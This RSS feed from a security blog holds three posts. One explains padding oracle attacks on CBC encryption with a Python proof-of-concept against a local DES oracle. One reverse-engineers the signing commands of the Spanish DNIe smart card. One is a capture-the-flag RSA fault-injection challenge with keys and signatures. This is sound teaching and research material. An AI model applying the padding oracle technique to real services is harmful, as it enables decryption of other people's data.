<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Limited Entropy Dot Com</title>
	
	<link>http://www.limited-entropy.com</link>
	<description>Not so random thoughts on security featured by Eloi Sanfèlix</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:25:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/LimitedEntropyDotCom" /><feedburner:info uri="limitedentropydotcom" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Understanding Padding Oracle attacks</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/SRqlsqcujmM/padding-oracle-attacks</link>
		<comments>http://www.limited-entropy.com/padding-oracle-attacks#comments</comments>
		<pubDate>Mon, 05 Jul 2010 17:23:04 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=671</guid>
		<description><![CDATA[It's been a long time I haven't written anything here... I've had to travel for work and have been doing other things and didn't find the right moment to write about anything useful. But a few days ago I decided to take a look at Padding Oracle attacks after hearing several times about them, and [...]]]></description>
			<content:encoded><![CDATA[<p>It's been a long time I haven't written anything here... I've had to travel for work and have been doing other things and didn't find the right moment to write about anything useful. But a few days ago I decided to take a look at Padding Oracle attacks after hearing several times about them, and I thought it would be nice to share with you guys.</p>
<p>Padding Oracle attacks were introduced in 2002 in paper [1]. After that, several other papers have presented similar attacks based on the same concept for other padding schemes. In this post, I will restrict myself to the padding scheme presented in [1] and will add a list of references at the end for further reading.</p>
<p><strong>Oracles and Padding Oracles</strong></p>
<p>In cryptography, an oracle is basically a black box that responds to queries. For instance, an encryption oracle will encrypt any input you give to it under a certain key. A random oracle will always respond with uniformly random data, and this is useful to model protocols based on hash functions.</p>
<p>In our case, we are interested on <em>padding oracles</em> (PO). A PO is a sort of black box that decrypts an input message and tells you whether the padding was correct or not. For instance, think of an application that receives an input ciphertext and decrypts it using a block cipher.</p>
<p>Since a block cipher encrypts data in chunks of a given size, whenever the data to be encrypted does not fit exactly in a number of chunks it needs to be padded. Thus, after decryption our example application will check the padding applied and will throw an exception if the padding is incorrect. If it is correct, it will just continue with its normal processing.</p>
<p>As you can see, this application is an example of a <em>padding oracle</em> because it is telling us whether the padding is correct or not. We can check the behavior of the application and when we observe an exception we know that the padding was incorrect. When we do not, we know it was correct.</p>
<p><strong>Mounting attacks based on padding oracles</strong></p>
<p>So, how can we use such a PO to mount an attack on the system? The answer is it depends on the underlying cipher mode and on whether it is used properly or not, of course. Assuming the application uses a cipher in CBC mode, and it does only use encryption but no authentication, we can feed the application with specially crafted ciphertext and make assumptions about the plaintext based on the response.</p>
<p>Before going into the attack method, let's define the padding system we are going to look at. The PKCS#5 standard defines a padding scheme that works as follows: If the message length is a multiple of the block length, the padding scheme adds an extra block with all bytes set to the number of bytes in a block. Otherwise, the remaining bytes will be set to the number of padding bytes that need to be added to have an exact number of blocks.</p>
<p>If the block size is 8 bytes, then for a 7 bytes message you will add a byte set to 01; for a 6 bytes message, 2 bytes set to 02, and so on. I bet you get the idea <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Now, when you decrypt in <a href="http://www.limited-entropy.com/crypto-series-block-ciphers">CBC mode</a>, the process works as described earlier in this blog: first you decrypt a block, and then XOR it with the previous ciphertext block (or the IV if it is the initial block). This means that if you get a random data block, then append a target ciphertext block to it, and feed it into the random oracle, you will know whether the decryption of your ciphertext block XORed with your random data adheres to the padding scheme or not.</p>
<p>So, now we know that the decrypted message XORed our random data ends with either 1 byte set to 0x01, or 2 bytes set to 0x02, or 3 bytes set to 0x03, etc. In the most likely case, you'll be lucky with the first option. However, you still need to check, since it might be that by chance you got one of the other options.</p>
<p>How do you know then? Easy: start modifying bytes one at a time and feed them to the Oracle. To make it generic, start from the left-most byte. Modify it, and check with the oracle if the padding is incorrect. If it is incorrect, that means this byte was part of the padding, so the whole thing should be all 0x08's (assuming 8 byte blocks). If it is correct, continue with the next byte until you see that the padding turns incorrect or you reach the last byte.</p>
<p>This is what the original <em>last byte decryption</em> algorithm describes:</p>
<blockquote><p>1. pick a few random bytes r1 , . . . , rb and take i = 0<br />
2. pick r = r1 . . . rb-1 (rb XOR i)<br />
3. if O(r|y) = 0 then increment i and go back to the previous step<br />
4. replace rb by rb XOR i<br />
5. for n = b down to 2 do<br />
(a) take r = r1 . . . rb-n (rb-n+1 XOR 1)rb-n+2 . . . rb<br />
(b) if O(r|y) = 0 then stop and output (rb-n+1 XOR n) . . . (rb XOR n)<br />
6. output rb XOR 1</p></blockquote>
<p>In the description above, b is the number of bytes in a block. In steps 1 to 3 it is discovering the last byte as I explained above. It creates b random bytes, and modifies only the last one until it gets a message with the right padding. Then it replaces this last byte with the correct value.</p>
<p>Now, using this value for <em>r</em> it has a good padding, so it starts modifying the bytes from the top and checking if this changes the results. If the result is not affected in any of the cases, then the last byte was set to 0x01 after decryption, and this means the last byte of the decrypted plaintext is our random byte rb XORed with 0x01. The same holds for the other cases, only that you need to XOR the random bytes with the appropriate value.</p>
<p>So the above algorithm works for the last byte, and if you are lucky for some other bytes as well. How do we turn it into a block decryption oracle?</p>
<p>Quite simple: assuming you know the final X bytes, generate a random block that after XORing with those known bytes sets the result to X+1. Now, the final block ends with an unknown byte followed by X bytes set to X+1... so now you start trying values to XOR with that unknown byte until you get a good padding response. At that point, you know that this unknown byte XORed the random data you supplied must give X+1 as a result to form a good padding (remember, good padding = Y last bytes set to a value Y).</p>
<p>So now you know one more byte, and you only need to iterate all the way till the end of the block to finish the decryption. The following algorithm was provided in the original paper:</p>
<blockquote><p>1. take rk = ak XOR (b - j + 2) for k = j, . . . , b<br />
2. pick r1 , . . . , rj-1 at random and take i = 0<br />
3. take r = r1 . . . rj-2 (rj-1 XOR i) rj . . . rb<br />
4. if O(r|y) = 0 then increment i and go back to the previous step<br />
5. output rj-1 XOR i XOR (b - j + 2)</p></blockquote>
<p>In this case, ak with k=j,...,b are the bytes you know. In step 1 you generate the random bytes that would set the final bytes to the appropriate value. Then you add some random numbers to them, and loop through the possible values for the unknown byte until you find the one that creates a proper padding (step 4). From this one, you construct the value for the unknown byte and return it in step 5.</p>
<p><strong>Implementing the attack in Python</strong></p>
<p>To make sure I understood what I explained above in the right way, I created a small python class able to decrypt any input block given a padding oracle. The class constructor takes an input block size together with a padding oracle in the form of a function returning a boolean value.</p>
<p>This means you can construct your own padding oracle function in python, which will simply return True or False depending on whether the padding was correct or not. This function can be a simple POC to test the concept or can be a function using a padding oracle present on a web site or whatever you can think of. See the presentation by Juliano Rizzo and Thai Duong ([3]) linked at the end for ideas <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>By the way, the code quality might not be very good and some things might be done easier in Python than I've done them. I'm pretty new to Python so if you see anything you think should be changed let me know <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . As for the code, you can do whatever you like with it.</p>
<p>As an example, I've used the following code to test the class:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">''</span><span style="color: #483d8b;">'
Created on Jul 4, 2010
&nbsp;
@author: Eloi Sanfelix &lt; eloi AT limited-entropy.com &gt;
'</span><span style="color: #483d8b;">''</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> PaddingOracle.<span style="color: black;">DecryptionOracle</span> <span style="color: #ff7700;font-weight:bold;">import</span> DecryptionOracle
<span style="color: #ff7700;font-weight:bold;">from</span> Crypto.<span style="color: black;">Cipher</span> <span style="color: #ff7700;font-weight:bold;">import</span> DES
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">random</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">struct</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> hex_string<span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>:
    x = <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span><span style="color: #66cc66;">*</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>,data<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span> <span style="color: #008000;">hex</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span>+<span style="color: #483d8b;">&quot; &quot;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> x<span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Random key globally initialized </span>
key = <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,<span style="color: #dc143c;">random</span>.<span style="color: black;">getrandbits</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span> <span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> oracle<span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>:
    oracleCipher = DES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>key,DES.<span style="color: black;">MODE_CBC</span>,<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span>
    ptext = oracleCipher.<span style="color: black;">decrypt</span><span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>
&nbsp;
    paddingLen = <span style="color: #dc143c;">struct</span>.<span style="color: black;">unpack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,ptext<span style="color: black;">&#91;</span>-<span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
    goodPadding = <span style="color: black;">&#40;</span>ptext<span style="color: black;">&#91;</span>-paddingLen:<span style="color: black;">&#93;</span> == <span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,paddingLen<span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span>paddingLen<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span> goodPadding
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
&nbsp;
    <span style="color: #808080; font-style: italic;">#Random 2 block plaintext</span>
    <span style="color: #dc143c;">bytes</span> = <span style="color: #483d8b;">&quot;&quot;</span>
    data = <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #dc143c;">struct</span>.<span style="color: black;">pack</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;B&quot;</span>,<span style="color: #dc143c;">random</span>.<span style="color: black;">getrandbits</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span> <span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Plaintext: &quot;</span>+hex_string<span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>
&nbsp;
    cipher = DES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>key,DES.<span style="color: black;">MODE_CBC</span>,<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span>
    ctext = cipher.<span style="color: black;">encrypt</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Ciphertext: &quot;</span>+hex_string<span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>
&nbsp;
    decryptOracle = DecryptionOracle<span style="color: black;">&#40;</span>oracle,<span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">#Recover first block</span>
    result = decryptOracle.<span style="color: black;">decrypt_message</span><span style="color: black;">&#40;</span>ctext<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>data == result <span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;CORRECT ptext recovered: &quot;</span>+hex_string<span style="color: black;">&#40;</span>result<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;INCORRECT ptext recovered: &quot;</span>+hex_string<span style="color: black;">&#40;</span>result<span style="color: black;">&#41;</span></pre></div></div>

<p>Which provided the following output:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">eloi:~<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>PaddingOracle<span style="color: #000000; font-weight: bold;">/</span>src$ python PaddingOracleTest<span style="color: #000000; font-weight: bold;">/</span>DesPaddingOracle.py 
Plaintext: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
Ciphertext: 0x98 0x8 0xd8 0xaf 0x69 0xab 0x34 0xe1 0x4a 0x61 0xa7 0x34 0xb2 0xc8 0xf 0x2b 
CORRECT ptext recovered: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
eloi:~<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>PaddingOracle<span style="color: #000000; font-weight: bold;">/</span>src$</pre></div></div>

<p>You can see it works for my test case. I also tested it using AES encryption insted of DES and it works fine there too, which gives me confidence enough that the concepts above are correctly explained and the tool works appropriately <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You can download the whole package with my DecryptionOracle class and the test cases <a href="http://www.limited-entropy.com/docs/PaddingOracle.tgz">here</a>.</p>
<p>Hope you enjoyed it and I'm looking forward to see your feedback in the comments!</p>
<p><strong>References</strong></p>
<p>There is more to padding oracle attacks than exposed here. If you want to know more, you can check the following resources. I might be implementing other attacks as well in the future, but the fastest way to know more will be to read these papers:</p>
<p>[1] Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... - S. Vaudenay - <a href="http://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf">Download here</a><br />
[2] Padding Oracle Attacks  on the ISO CBC Mode Encryption Standard -  K.G Patterson and A. Yau . <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.63.3870&#038;rep=rep1&#038;type=pdf">Download here</a><br />
[3] Practical Padding Oracle Attacks . Juliano Rizzo and Thai Duong . <a href="https://media.blackhat.com/bh-eu-10/whitepapers/Duong_Rizzo/BlackHat-EU-2010-Duong-Rizzo-Padding-Oracle-wp.pdf">Download here</a></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/padding-oracle-attacks" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/SRqlsqcujmM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/padding-oracle-attacks/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/padding-oracle-attacks</feedburner:origLink></item>
		<item>
		<title>Understanding the DNIe, Part III: Hashing and signing</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/WKNeADb-d04/dnie-hash-sign</link>
		<comments>http://www.limited-entropy.com/dnie-hash-sign#comments</comments>
		<pubDate>Tue, 27 Apr 2010 16:45:55 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[dnie]]></category>
		<category><![CDATA[smartcards]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=657</guid>
		<description><![CDATA[Here I come with yet another post about the DNIe. In the previous posts, we have seen how the device authentication procedure works and how to use the resulting keys to perform secure messaging. Now it's time to see how to ask the device to perform a hash on the input data and how to [...]]]></description>
			<content:encoded><![CDATA[<p>Here I come with yet another post about the DNIe. In the previous posts, we have seen how the <a href="http://www.limited-entropy.com/dnie-device-auth">device authentication</a> procedure works and how to use the resulting keys to perform <a href="http://www.limited-entropy.com/dnie-secure-messaging">secure messaging</a>. Now it's time to see how to ask the device to perform a hash on the input data and how to perform electronic signatures on it.</p>
<p>I'll start off with the description of the standard and continue with an explanation on how the DNIe drivers do it. Yes, you are reading it right, they use different APDUs than the ones defined in CWA14890, at least in the OpenSC module I'm using as a base for this analysis.</p>
<p><span id="more-657"></span><strong>Electronic signatures in CWA14890</strong></p>
<p>According to the CWA14890 specifications, in order to ask the card to compute an electronic signature one has to load a hash value into the card. The hash value can be computed completely on card, partially on card or completely off card.</p>
<p>This means you can choose between sending the plaintext data to the card and let it hash it, compute part of the hash outside the card and send an intermediate result together with the rest of the data or compute the complete hash on yourself. This is done with the following APDUs (copy-paste from the standard):</p>
<ol>
<li>On card hashing</li>
<blockquote><p>PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION<br />
P1 = ‘90’, // return hash code if required by Le<br />
P2 = ‘80’, // plain value<br />
data = plain data to be hashed)</p></blockquote>
<li>Hashing partially on card</li>
<blockquote><p>PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION<br />
P1 = ‘90’, // return hash code if required by Le<br />
P2 = ‘A0’,  // input template for hash computation<br />
data =  ‘90’ L90 &lt;intermediate hash result&gt; || ‘80’ L80 &lt;rest of the data&gt;  ;</p></blockquote>
<li>Hashing off-card</li>
<blockquote><p>PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION<br />
P1 = ‘90’, // return hash code if required by Le<br />
P2 = ‘A0’, // input template for hash computation<br />
data = ‘90’ L90 &lt;hash value&gt;</p></blockquote>
</ol>
<p>Now, once the card has a working hash, you can ask it to compute an electronic signature with this APDU:</p>
<blockquote><p>PSO( INS = ‘2A’, // PERFORM SECURITY OPERATION<br />
P1 = ‘9E’, // COMPUTE DIGITAL SIGNATURE<br />
P2 = ‘9A’, // data to be signed<br />
data = absent)   // data already in ICC</p></blockquote>
<p>In our case, the DNIe requires these messages to be sent using secure messaging. Further, it requires to perform user authentication (i.e. sending the PIN) before the signature command is issued. Also, before calling the PSO - Compute Digital Signature command we should select the desired private key with a Manage Security Environment command.</p>
<p>Therefore, the sequence of commands to request a signature from the card after establishing a secure channel could be something like this:</p>
<ol>
<li>VERIFY: wrap(0C 20 00 00 Lc PIN)</li>
<li>Manage Security Environment command: wrap(0C 22 41 B6 Lc 84 L84 &lt;keyid&gt;)</li>
<li>Hash command: wrap(0C 2A 90 80 Lc &lt;plain data&gt;)</li>
<li>Sign command: wrap(0C 2A 9E 9A 00)</li>
</ol>
<p>Where wrap means wrapping the APDU using Secure Messaging. This means encrypting the data and adding a MAC to authenticate the APDU header and the data.</p>
<p><strong>Signing: the libopensc-dnie way<br />
</strong></p>
<p>As I was saying, the procedure described above complies with the CWA14890 specs. And there I was trying to get it working using the APDUs defined in CWA14890 and scanning through my logs, when I realized that I could not find those APDUs anywhere in the logs! WTF? Could they be doing things in a different way?</p>
<p>As I was puzzled by the logs, I decided to go to the source of these APDUs: the binary driver.</p>
<p>Loading that driver into IDA Pro, I could easily find the function that implements the signature process. Reversing that function a bit, one can find out that the following communication happens when a signature is requested:</p>
<ol>
<li>The data to be signed (direct input to the RSA signature operation, padding performed outside the card if needed) is loaded into the card with this command: wrap(9C 58 00 Lc &lt;data&gt;)</li>
<li>A signature is requested by the card with the following command: wrap(9C 5A 80 &lt;keyRef&gt; 00). Here &lt;keyRef&gt; is 01 for your authentication key and 02 for signing key.</li>
<li>The initial response is parsed and more data is obtained using Get Response if needed (i.e. if SW1=0x61, then there are SW2 bytes available).</li>
</ol>
<p>So there we got it, they are actually using something that does not adhere to the CWA14890 standard! I'm quite sure I must have been doing something wrong when trying to get it working the CWA14890 way, but since I don't have the complete documentation I found this way much easier... although it required some reversing with the help of IDA and the sources for OpenSC.</p>
<p><strong>Further work</strong></p>
<p>With the information I've dumped into these three posts on the DNIe, anyone interested should be able to understand how this device works and how electronic signatures are requested from it.</p>
<p>Some more work would need to be done in order to completely understand the interface the device provides and to make a fully compliant open source driver. As far as I know, most of the work left now should be related to understanding the file system structure, and of course implementing all this in an open source driver if desired.</p>
<p>On my side, this completes the analysis of the device for now. I'll conclude this series of posts with an article giving tips on how to find some of the information needed to implement the communication, including some links to source code that might be useful.</p>
<p>Unfortunately I can't share my code because part of it has been reused from non-public sources. Anyway, I think the information available in these posts together with the key for device authentication is all you need.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/dnie-hash-sign" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/WKNeADb-d04" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/dnie-hash-sign/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/dnie-hash-sign</feedburner:origLink></item>
		<item>
		<title>A story about Chinese, Bells and Injections : CPEU Wargame challenge</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/bZBIX0QBpCA/cpeu-wargame-crypto4</link>
		<comments>http://www.limited-entropy.com/cpeu-wargame-crypto4#comments</comments>
		<pubDate>Sun, 18 Apr 2010 09:04:17 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[CPEU Wargame]]></category>
		<category><![CDATA[Cryptography]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=636</guid>
		<description><![CDATA[I wanted to share with you guys the little challenge I prepared for the Campus Party Europe. The wargame was organized by SecurityByDefault and took place during the last couple of days. I was asked to prepare a cryptography challenge for it, and I delivered a little problem that became the level 4 challenge in [...]]]></description>
			<content:encoded><![CDATA[<p>I wanted to share with you guys the little challenge I prepared for the Campus Party Europe. The wargame was organized by <a href="http://www.securitybydefault.com/">SecurityByDefault</a> and took place during the last couple of days.</p>
<p>I was asked to prepare a cryptography challenge for it, and I delivered a little problem that became the level 4 challenge in the crypto category. The problem is based around <a href="http://www.limited-entropy.com/introduction-to-rsa">RSA</a> with 2048 bit keys and <a href="http://www.limited-entropy.com/crypto-series-aes">AES</a> in ECB mode with 128 bit keys.</p>
<p>The idea was to give some real crypto instead of the typical break-classic-crypto or find-the-needle-in-the-haystack challenges. Of course, I am not asking you to factor an RSA-2048 modulo (well, I am, in a way...) nor breaking AES in a mathematical sense because that is not feasible nowadays. You have to find the trick <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>Want to challenge yourself? Give it a try!</p>
<p>I'll leave the challenge here, and the solution will be published in <a href="http://www.securitybydefault.com/">SecurityByDefault</a> in some time. If you have questions or want to share ideas with me you can use the comments, but please do not spoil the solution for other readers!</p>
<p>These are the instructions:</p>
<blockquote><p>Dear agent,</p>
<p>In one of our missions we have intercepted an email containing a file encrypted with AES in ECB mode with a 128 bit key. Together with the file there was what we suspect is the AES key encrypted with a 2048 RSA key, which we found to be as follows:</p>
<p>-----BEGIN PUBLIC KEY-----<br />
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6FJCdwpmaYxkSWFa1I9w<br />
5f9/ScpFM0N9hTZ+GvOPMao1lI6zP5eI9xZKHdXDh1v4a2k72MyC4svL0Bz30bRR<br />
72fLcpD6eQ7hAiTjcls3trw9U1banQ+6weBrsm/yQwPZBtPJZsgbGZp4ue8CKw+5<br />
KOWC/AzgKVf2sWQhAfkug0qrRySe5AjCkdP86HLBRGkSMTf02kkoAHUDNkcgafTi<br />
S0oOPuUVha54aEOjwDlhwhKh45TScegmFMTnqh1dpBYBH5tAgajkcGV1Gt7eUdCQ<br />
l/uKQay+LlRcttQEQB1ZFsP2hhbpZnmzX3d0qeRCsZh0FLAi7gbwD6w93bYUGUPl<br />
UwIDAQAB<br />
-----END PUBLIC KEY-----</p>
<p>The encrypted AES key is as follows:</p>
<p>19303a82cbc50a56dc22f9aafc554da2ea632e33bee1d33c35edb13269ba0fd2fa791744e86eda7fc1cb15433f1232f86a42afcd5470215ccf0d05096ce1b8f075e6dc45df74896345297fcc145a4765aeaea78babaa6441ead3a2e73b37931dc7c07d4e04b7115284c7c04c85a61c7e555194d0f4ee762d47a8aeec2efcd75ee45e3e6a65f876f9a67aa01016f3ce9552d8f0b50cc150c70333aa6ac3a4ac8860d2879cad8439566f0ffda32612cb75dd9c1b456a4e1828582f05932f495452f19d71f300f2f48b8c1f8cde1b1b8d8ada3f6ff506e10d5d18d91d61402bc36756a88196381ff795980eee932a179525264e3a968f0abe9edbe672560c41833a</p>
<p>Although it was a tough mission, our Operations team did a great job and was able to provide the following information on the target:</p>
<p>- It uses a cryptographic device that contains a 1024 bit modular exponentiation accelerator<br />
- The device uses the same key for decryption and for signature generation</p>
<p>In addition, the Operations team modified the hardware used by our target and was able to collect a pair of RSA signatures over the same data. One of these signatures contains a fault injected thanks to our hardware modification, while the other one is the correct signature. These are the signature values:</p>
<p>S1:<br />
3ae81964c8ecf1524b47c42cb0ecd2a3b6768dccd55960d7ff0a998f839b8c312a2cd821c270ae961777dd4dd50aa631fe823a8afd914911adf69c1c6cfda3b3aed01dad372cfdd6e9f63a4cc39e1a455cbfd04dea72bf07c4790d5fec469198ce28113d6d38a7baced9d3c3695ab27cbc5ab434aa8d2b5f53f66a383e079ddaed485d4a2b446e410eafcadbba9f159494c28c4a19fd416dff90f8c141e96d8260f8e6e0901832e31899c48ce0cbdae6a24595a19a01e490c87e7b48860e09006920d8ef7384217358c6db90638d6e8cbc795a091240f24105d8f3b27fe4b98fe9a507e00590b4cded41777b1b8967b0f752231e0e856b8f0132bde30a6e082e</p>
<p>S2:<br />
391e0340e5931a202012572ddacad877e5af3a1d846b70c1e64e3041f9ac0a3c7e8f82621df908eadca44fe777a6b1c799610be829e13ca233982fd268034addb5a79fa19f984631fdf3a61d32fc75ed77176c7a0b719504e804076dca66f10111aa124a7efe743ada75dda2ec53f3c28882a7724928685918261739f960a3648aa3eadc426181aa146a8ba0ff20f1c53de2113e0196af09595dc2ad1a0fe12096ff681f61363044615a7f72edf1f8c6531055e66c1e5f4498434c731d2308fecae46c779379ea3d7d7a5f1c2a0efeb5bc1b8a4af4fb21fce1dae943c27043e86642b3b1e6b889a31e7c4bc01bc2ebae4dc8432344532567d1d3df8b9bcafcbf</p>
<p>Unfortunately, the team was not able to obtain the private RSA key nor decrypt the AES file. It is critical for the mission to obtain the contents of the encrypted file. Your task is to obtain the contents of the AES file.</p>
<p>Good luck!</p>
<p>PS: All RSA operations are RAW operations. This means no padding, just modular exponentiation. For keys smaller than the modulus, the padding is null (i.e. zero bytes).</p></blockquote>
<p>And the file encrypted with AES can be found <a href="http://www.limited-entropy.com/docs/encrypted.aes">here</a>.</p>
